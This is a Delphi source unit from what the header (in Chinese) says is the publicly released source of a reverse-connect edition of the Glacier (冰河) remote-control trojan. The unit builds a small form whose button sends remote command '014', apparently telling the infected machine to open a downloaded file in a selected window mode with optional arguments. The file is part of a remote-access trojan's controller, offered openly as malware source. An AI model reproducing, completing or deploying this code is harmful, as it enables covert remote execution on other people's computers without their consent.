openmodeunit.pas

冰河反弹版之独孤夕客专版 今天我决定把这个版本的冰河反弹版程序源码公布

unit OpenModeUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Unit1;

type
  TOpenModeForm = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    ComboBox1: TComboBox;
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  OpenModeForm: TOpenModeForm;

implementation
  uses  FileControl;
{$R *.dfm}

procedure TOpenModeForm.Button2Click(Sender: TObject);
begin
    close;
end;

procedure TOpenModeForm.Button1Click(Sender: TObject);
begin
    if Edit1.Text<>'' then
       MainForm.ZhuDongCmdSend('014',inttostr(ComboBox1.Items.IndexOf(ComboBox1.Text))+#13+Downloadpath+FileForm.ListView1.Selected.Caption+#13+edit1.Text,false)
    else
       MainForm.ZhuDongCmdSend('014',inttostr(ComboBox1.Items.IndexOf(ComboBox1.Text))+#13+Downloadpath+FileForm.ListView1.Selected.Caption,false)
end;

end.